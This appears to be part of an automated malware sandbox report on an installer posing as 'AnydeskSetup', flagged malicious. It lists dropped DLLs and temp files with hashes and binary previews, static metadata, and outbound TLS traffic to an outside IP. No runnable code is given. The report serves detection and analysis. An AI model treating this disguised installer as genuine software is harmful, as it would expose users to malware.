SSDEEP:	196608:6e9dQDU9N3glGcBo/6xDD7yLEY2sNd0nOn1q1eUD9p8b3lWG7uCMkCA:N8g91gGcBD7yLfmz1rGYG6CMi
MD5:	C4E9E9A06001C6197DE2EA2FEC3D2214
SHA1:	369006350F6B4C43C7F51A90DEB5E73A20156B55
SHA-256:	E4EDB4CC8F35C7BAB6E89774A279593D492714FCE9865E53879F87D3704AD96C
SHA-512:	00008FD26C3047AFBBC73FC19D20700861E9501B1C9509B7ABCFD218A814A2B0AA24FA934338942AEE809CA53240B539E77F6D91013CAE0EEE076282E4047156
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MalDoc, Description: Yara detected MalDoc, Source: C:\Windows\Installer\4641a8.msi, Author: Joe Security
Preview:	......................>...........................................-...........I.......e.......6...7...8...9...:...;...<...=...>............................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)......+...............................%...7........................................................................................... ...!..."...#...$.../...0...'...(...)......+...,...-...........1...5...2...3...4...8...6...?...B...9...:...;...<...=...>...:...@...A.......C...D...E...F...G...H...<.......K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI4755.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563656
Entropy (8bit):	6.4327605050337135
Encrypted:	false
SSDEEP:	6144:x0WKoDOO80Gw0Oy13zcbs7B1OLmxcSFEq7agKR7T+cgAOVaoZR4twXsZR:xfK+KdnOq1jEqmR+ZrZYCsZR
MD5:	BDA991D64E27606AC1D3ABB659A0B33B
SHA1:	A87EE1430F86EFFA5488AE654704C40ACA3424C6
SHA-256:	FFEA8222126B77F8DA93E27EDBADEB8B97FB023EF0D6A51522C35688F66283CA
SHA-512:	94FE1EADD4B4325FC1A8C769180C6ECF92E2DBF9F8262D6746FADA603929977F3D40100BA84CFFB4074C6900A2B2D307355E6A5116E6F16D9D3173FA17AD461F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.a.\.2.\.2.\.2m..3.\.2m..3.\.2.&.3.\.2.&.3.\.2.$.3.\.2.&.3.\.2m..3.\.2m..3.\.2m..3.\.2.\.2.].2.&.3.\.2.&.3.\.2.&.2.\.2.\r2.\.2.&.3.\.2Rich.\.2........PE..L....e.b.........."!... ............O.....................................................@.............................@...0...,....@...............v...#...P..<`...6..p...................@7.......5..@...............4............................text............................... ..`.rdata..............................@..@.data...\|"..........................@....rsrc........@......................@..@.reloc..<`...P...b..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI48BD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563656
Entropy (8bit):	6.4327605050337135
Encrypted:	false
SSDEEP:	6144:x0WKoDOO80Gw0Oy13zcbs7B1OLmxcSFEq7agKR7T+cgAOVaoZR4twXsZR:xfK+KdnOq1jEqmR+ZrZYCsZR
MD5:	BDA991D64E27606AC1D3ABB659A0B33B
SHA1:	A87EE1430F86EFFA5488AE654704C40ACA3424C6
SHA-256:	FFEA8222126B77F8DA93E27EDBADEB8B97FB023EF0D6A51522C35688F66283CA
SHA-512:	94FE1EADD4B4325FC1A8C769180C6ECF92E2DBF9F8262D6746FADA603929977F3D40100BA84CFFB4074C6900A2B2D307355E6A5116E6F16D9D3173FA17AD461F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.a.\.2.\.2.\.2m..3.\.2m..3.\.2.&.3.\.2.&.3.\.2.$.3.\.2.&.3.\.2m..3.\.2m..3.\.2m..3.\.2.\.2.].2.&.3.\.2.&.3.\.2.&.2.\.2.\r2.\.2.&.3.\.2Rich.\.2........PE..L....e.b.........."!... ............O.....................................................@.............................@...0...,....@...............v...#...P..<`...6..p...................@7.......5..@...............4............................text............................... ..`.rdata..............................@..@.data...\|"..........................@....rsrc........@......................@..@.reloc..<`...P...b..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI494B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563656
Entropy (8bit):	6.4327605050337135
Encrypted:	false
SSDEEP:	6144:x0WKoDOO80Gw0Oy13zcbs7B1OLmxcSFEq7agKR7T+cgAOVaoZR4twXsZR:xfK+KdnOq1jEqmR+ZrZYCsZR
MD5:	BDA991D64E27606AC1D3ABB659A0B33B
SHA1:	A87EE1430F86EFFA5488AE654704C40ACA3424C6
SHA-256:	FFEA8222126B77F8DA93E27EDBADEB8B97FB023EF0D6A51522C35688F66283CA
SHA-512:	94FE1EADD4B4325FC1A8C769180C6ECF92E2DBF9F8262D6746FADA603929977F3D40100BA84CFFB4074C6900A2B2D307355E6A5116E6F16D9D3173FA17AD461F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.a.\.2.\.2.\.2m..3.\.2m..3.\.2.&.3.\.2.&.3.\.2.$.3.\.2.&.3.\.2m..3.\.2m..3.\.2m..3.\.2.\.2.].2.&.3.\.2.&.3.\.2.&.2.\.2.\r2.\.2.&.3.\.2Rich.\.2........PE..L....e.b.........."!... ............O.....................................................@.............................@...0...,....@...............v...#...P..<`...6..p...................@7.......5..@...............4............................text............................... ..`.rdata..............................@..@.data...\|"..........................@....rsrc........@......................@..@.reloc..<`...P...b..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI49E8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	949704
Entropy (8bit):	6.46618032383805
Encrypted:	false
SSDEEP:	24576:IoPSOB9kc+aglxM62wOR4H0kXiOf841OrEMBZX26PH2cat:fPN162wOR4UkrfF1OrEMBZX26PH2cat
MD5:	B27A994E40BEE85C14D3227EA91696A9
SHA1:	609A959B0F47865803E2C45A8BC4390F1D08B57A
SHA-256:	EBF432E9B8068E139E85E2C26A1D67238B3C6071158CD43F4926029BA187C190
SHA-512:	66B2CFA6B7C3CF793F478BC69E084E4EA008DAB4101EAF8CE3143291D94DBCEBEDCCD29C309D56185261FDBCCCD30697CD898BF8CE8E1F9DCDF12FC2037D1542
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^.5.?.f.?.f.?.feM.g.?.feM.g.?.f.E.g.?.f.E.g.?.f.E.g.?.f.G.g.?.feM.g.?.feM.g.?.f.?.f.>.f.E.g.?.f.E.g.?.f.EAf.?.f.?)f.?.f.E.g.?.fRich.?.f................PE..L....f.b.........."!... ............~...............................................J.....@......................... ...t............................Z...#......T....L..p...................@M.......L..@............................................text............................... ..`.rdata..D...........................@..@.data...............................@....rsrc................X..............@..@.reloc..T............^..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4B9F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563656
Entropy (8bit):	6.4327605050337135
Encrypted:	false
SSDEEP:	6144:x0WKoDOO80Gw0Oy13zcbs7B1OLmxcSFEq7agKR7T+cgAOVaoZR4twXsZR:xfK+KdnOq1jEqmR+ZrZYCsZR
MD5:	BDA991D64E27606AC1D3ABB659A0B33B
SHA1:	A87EE1430F86EFFA5488AE654704C40ACA3424C6
SHA-256:	FFEA8222126B77F8DA93E27EDBADEB8B97FB023EF0D6A51522C35688F66283CA
SHA-512:	94FE1EADD4B4325FC1A8C769180C6ECF92E2DBF9F8262D6746FADA603929977F3D40100BA84CFFB4074C6900A2B2D307355E6A5116E6F16D9D3173FA17AD461F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.a.\.2.\.2.\.2m..3.\.2m..3.\.2.&.3.\.2.&.3.\.2.$.3.\.2.&.3.\.2m..3.\.2m..3.\.2m..3.\.2.\.2.].2.&.3.\.2.&.3.\.2.&.2.\.2.\r2.\.2.&.3.\.2Rich.\.2........PE..L....e.b.........."!... ............O.....................................................@.............................@...0...,....@...............v...#...P..<`...6..p...................@7.......5..@...............4............................text............................... ..`.rdata..............................@..@.data...\|"..........................@....rsrc........@......................@..@.reloc..<`...P...b..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4E9D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	5.573133481524372
Encrypted:	false
SSDEEP:	24:a4gdNjYbBSbKu6Ch9HpeqwchkLNM/vVvyZpU1XFP37JM9QP2dcVSDhiSbkLDy95P:bYWBmyiHeIkLNm6oP3uO+D8SbkLDyQ4
MD5:	8653DE3C7382A1ECB017A4172F6AC1C1
SHA1:	DAECD0EEF85698FF2958C9F6672E24894D8723A6
SHA-256:	8F78F141548F296FA0C731F193DFFE08AEAF2C94BA142F985ED8E6A1F36198F8
SHA-512:	6DF89F3FC60479D74AEBB53E101F7D55C5B9077C82A5C9AFDA49DB2BB18DFC1888AD2C895733AA388F2DC7BFEC9E3BF904D4113020D98D02F29F70B970C1826E
Malicious:	false
Preview:	...@IXOS.@.....@.3V.@.....@.....@.....@.....@.....@......&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}..Install..AnydeskSetup_26b30163.msi.@.....@.....@.....@........&.{5BA1D35A-31C3-4F28-8E20-0708E7E043E2}.....@.....@.....@.....@.......@.....@.....@.......@......Install......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{8AB84B36-184D-4684-8707-874E36A61D17}%.01:\Software\Litesoft\Install\Version.@.......@.....@.....@......&.{30B02290-2DDA-4BA0-9140-D24ED77E9E3E}0.C:\Users\user\AppData\Roaming\Litesoft\Install\.@.......@.....@.....@......&.{0E94232D-D6E0-4C49-A408-F0232921B8AC}N.01:\Software\Litesoft\{A0752428-EAA5-4389-96B5-3CC6BA139322}\AI_INSTALLPERUSER.@.......@.....@.....@......&.{838A83DC-DF99-47B7-B927-CE1AA64BEF1F}?.C:\Users\user\AppData\Roaming\Litesoft\Install\vcredist_x86.7z.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]

C:\Windows\Installer\MSI5344.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	562632
Entropy (8bit):	6.448100158303931
Encrypted:	false
SSDEEP:	12288:lzNTUpoIAQ2659WZXBen2CdGskJQqfTYLDfXJ/IJmGCfUreBkYoojynfrltAc:lzefDfUrYLoxfBtAc
MD5:	6AAC525CFCDD6D3978C451BBA2BB9CB3
SHA1:	417A1C4312BDAADF832ACF153C423906365FB027
SHA-256:	9DBAF4E4632E70652FF72BB7890C35E3B9CD7A6939B29B5EEEC0C636D098C64E
SHA-512:	3C39487DBFDB6EE84CC5EDDD5E8E9D1610FFB9FE55913E47F126B47D6FD5BC04B691A9BB765963D998B3DB92D87192A4A91807BBE7559BFC4804A7C2BEB32F42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$............`..`..`...c..`...e.r.`...d..`...c..`...e..`...e...`...d..`...f..`...a..`..a...`...i..`....`.....`...b..`.Rich.`.........................PE..d....g.b..........".... .2...f.................@....................................\|.....`..................................................................`...?...r...#......`....v..p....................w..(...pu..@............P...............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...$G..........................@....pdata...?...`...@..................@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc..`............b..............@..B........................................................................................................................................................................

C:\Windows\Installer\SourceHash{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1708144113793764
Encrypted:	false
SSDEEP:	12:JSbX72FjmM5AGiLIlHVRpuBh/7777777777777777777777777vDHFhLZ1Xl0i8Q:J8IQI58/DeF
MD5:	05177FF55F86EFD25F2EE3F2DEEB933D
SHA1:	41147EA56D39B917382CA635C7DD59788AE74641
SHA-256:	29D45A0151E5B95D27FE3648DC06B6D968AB4DFE423EEECBD5E015C3CF3524B4
SHA-512:	88B265F1EBFCCBE21BDA91AC6F93514688BBB1188FE67759BFCACEFEF577E9DE1279C86E38027E0D57738DF51E842ECDE9AAD092EDB3697D191A155CBA459C70
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5371270547642917
Encrypted:	false
SSDEEP:	48:z8Ph8uRc06WXJijT5436EXY9MXSCMQAECiCymooMiSCMeT:ah81ZjT23nXYq0ECv
MD5:	6C20FB8245E1C3DFE1B7B6F78AE0558C
SHA1:	01ECCA60D82922B7420324286CEBA1844A40E716
SHA-256:	F79E0023B45621FC12CBEC52EAA87C7FC9C24BFE331A4CFB836AA843E04A855D
SHA-512:	05E0DB796937A22D095505EF2BA3B528D11B6D6C229E5BB88F7B035389640F2BF0588A18E0B74E4DFEE499FC805D7F2CE15BE9C9969F9C4887985124A2B54EF8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	79122
Entropy (8bit):	5.2821779172612935
Encrypted:	false
SSDEEP:	192:jmXs969ozNSkk3peTBYeHt0tfoI9qsjl0urmwYyiN:yXs9UogeWeH29qclhmwYyiN
MD5:	FE05FADE4D7C8C7E6D8D1287AA0824EF
SHA1:	920599E7F1323F70D31F1F60B59697B0786BEDDA
SHA-256:	7910FBA11099D846CB7FE9F9BC938883FEB9E98E5CDC403AE1BC8D51492F74C4
SHA-512:	3DF70FECB9031DB4E8694222A4894FC287B74D0896D37759A0669A0D71DBC7403F71075699C08D292FCE42680C58782D7F30C204E41292F5A1D01D108F67583E
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..07/23/2020 03:22:38.143 [320]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.Office.Tools.Outlook, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /NoDependencies ..07/23/2020 03:22:38.159 [320]: ngen returning 0x00000000..07/23/2020 03:22:38.222 [3748]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.Office.Tools.Word, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /NoDependencies ..07/23/2020 03:22:38.237 [3748]: ngen returning 0x00000000..07/23/2020 03:22:38.284 [64]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.Office.Tools.Common.Implementation, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /NoDependencies ..07/23/2020 03:22:38.300 [64]:

C:\Windows\Temp\~DF1D4225E8A4DE5B08.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.127290554975148
Encrypted:	false
SSDEEP:	24:bLTxkrQYJipVkrQYXkrQYQipVkrQYnAEVkryjCymV2BwGOWQl+LpQ:XTeMiSCMjMXSCMQAECiCymo7QlipQ
MD5:	E99EAA7857B4D8D4743488F9D95F529E
SHA1:	BE08ABDF83B845012C781073F15478AEA756AB31
SHA-256:	081B75F56ABA4739D1EDF42E31140E9D0B836EDF282055694280942752FBD6AE
SHA-512:	B3502B8D3B1630DCB5ECE96CB216FDA315A26011E09DF8835C0D56871C27CA926AFEB29748CFAA742733FA16196DAF6EA9DA8A5F55426ACCE2C2511730266D09
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2430F04794644D00.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07644272335052202
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOB3QxRjHGZbaMtyVky6lX:2F0i8n0itFzDHFhLZ1X
MD5:	85F20423E393452654380911C16A2487
SHA1:	8BB012EDC737AF85E405021A62A070F631D0C073
SHA-256:	0E0802623894D955F3293F9AC692FBB1D81C3A96375C1EFE457172C7FDFAC554
SHA-512:	599AB24D637BA22E362C302C2F56AF8FEA4FDDA6AE17B3AF042133F48A8BA3DEB27FC72243B4B8D1357C8CEFACB545C5C1833172BBB9C098559DCCA6C54C5B38
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF48ED1440AB754CEC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2344808579129707
Encrypted:	false
SSDEEP:	48:SZ0u1I+CFXJVT5g36EXY9MXSCMQAECiCymooMiSCMeT:i0rtTO3nXYq0ECv
MD5:	D408D2556164DEC4D66022350B7C72C4
SHA1:	F99D3B0EAEA7C43FAA93AFCCF6F392B5C629F779
SHA-256:	BAA8BC3FE483DA26565F74D0E329029266E0E7F18AD804626A97996A651F1F46
SHA-512:	8C2C8EEFF6F69DE7F098DB6AE22BA0A372B2CA04997EA0B4B37A233A0F731BE4E1EC4E19E297F91C8D476CD1B218FB1946AB7A15166B9471BC69EBBDCE3A689A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF6D038C6A24E26851.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB25ACD20EE1CE32C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5371270547642917
Encrypted:	false
SSDEEP:	48:z8Ph8uRc06WXJijT5436EXY9MXSCMQAECiCymooMiSCMeT:ah81ZjT23nXYq0ECv
MD5:	6C20FB8245E1C3DFE1B7B6F78AE0558C
SHA1:	01ECCA60D82922B7420324286CEBA1844A40E716
SHA-256:	F79E0023B45621FC12CBEC52EAA87C7FC9C24BFE331A4CFB836AA843E04A855D
SHA-512:	05E0DB796937A22D095505EF2BA3B528D11B6D6C229E5BB88F7B035389640F2BF0588A18E0B74E4DFEE499FC805D7F2CE15BE9C9969F9C4887985124A2B54EF8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC76335CB03FE980E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD2CCE5D787885223.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5371270547642917
Encrypted:	false
SSDEEP:	48:z8Ph8uRc06WXJijT5436EXY9MXSCMQAECiCymooMiSCMeT:ah81ZjT23nXYq0ECv
MD5:	6C20FB8245E1C3DFE1B7B6F78AE0558C
SHA1:	01ECCA60D82922B7420324286CEBA1844A40E716
SHA-256:	F79E0023B45621FC12CBEC52EAA87C7FC9C24BFE331A4CFB836AA843E04A855D
SHA-512:	05E0DB796937A22D095505EF2BA3B528D11B6D6C229E5BB88F7B035389640F2BF0588A18E0B74E4DFEE499FC805D7F2CE15BE9C9969F9C4887985124A2B54EF8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD8309D2B09FFFDD6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFDE36A592911A108C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE60A19E8CAA5DBAF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF07B6B76E6A2D8EB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2344808579129707
Encrypted:	false
SSDEEP:	48:SZ0u1I+CFXJVT5g36EXY9MXSCMQAECiCymooMiSCMeT:i0rtTO3nXYq0ECv
MD5:	D408D2556164DEC4D66022350B7C72C4
SHA1:	F99D3B0EAEA7C43FAA93AFCCF6F392B5C629F779
SHA-256:	BAA8BC3FE483DA26565F74D0E329029266E0E7F18AD804626A97996A651F1F46
SHA-512:	8C2C8EEFF6F69DE7F098DB6AE22BA0A372B2CA04997EA0B4B37A233A0F731BE4E1EC4E19E297F91C8D476CD1B218FB1946AB7A15166B9471BC69EBBDCE3A689A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF171D808C3097A20.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2344808579129707
Encrypted:	false
SSDEEP:	48:SZ0u1I+CFXJVT5g36EXY9MXSCMQAECiCymooMiSCMeT:i0rtTO3nXYq0ECv
MD5:	D408D2556164DEC4D66022350B7C72C4
SHA1:	F99D3B0EAEA7C43FAA93AFCCF6F392B5C629F779
SHA-256:	BAA8BC3FE483DA26565F74D0E329029266E0E7F18AD804626A97996A651F1F46
SHA-512:	8C2C8EEFF6F69DE7F098DB6AE22BA0A372B2CA04997EA0B4B37A233A0F731BE4E1EC4E19E297F91C8D476CD1B218FB1946AB7A15166B9471BC69EBBDCE3A689A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {5BA1D35A-31C3-4F28-8E20-0708E7E043E2}, Number of Words: 10, Subject: Install, Author: Litesoft, Name of Creating Application: Install (Evaluation Installer), Template: ;1033, Comments: This installer database contains the logic and data required to install Install. (Evaluation Installer), Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	7.8643466592060065
TrID:	Microsoft Windows Installer (77509/1) 52.18% Windows SDK Setup Transform Script (63028/2) 42.43% Generic OLE2 / Multistream Compound File (8008/1) 5.39%
File name:	AnydeskSetup_26b30163.msi
File size:	11544064
MD5:	c4e9e9a06001c6197de2ea2fec3d2214
SHA1:	369006350f6b4c43c7f51a90deb5e73a20156b55
SHA256:	e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c
SHA512:	00008fd26c3047afbbc73fc19d20700861e9501b1c9509b7abcfd218a814a2b0aa24fa934338942aee809ca53240b539e77f6d91013cae0eee076282e4047156
SSDEEP:	196608:6e9dQDU9N3glGcBo/6xDD7yLEY2sNd0nOn1q1eUD9p8b3lWG7uCMkCA:N8g91gGcBD7yLfmz1rGYG6CMi
TLSH:	93C62223328E8336E6BE41359579D72AA1BABEE207B140CF53D0091F4E785C15A7EF52
File Content Preview:	........................>...........................................-...........I.......e.......6...7...8...9...:...;...<...=...>..............................................................................................................................

File Icon


Icon Hash:	a2a0b496b2caca72

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 19, 2023 17:55:19.833704948 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:19.833777905 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:19.833908081 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:19.854260921 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:19.854305983 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:19.970453024 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:19.970700979 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:19.977088928 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:19.977116108 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:19.977814913 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.026607037 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.026642084 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.094965935 CET	443	49695	152.89.196.75	192.168.2.4
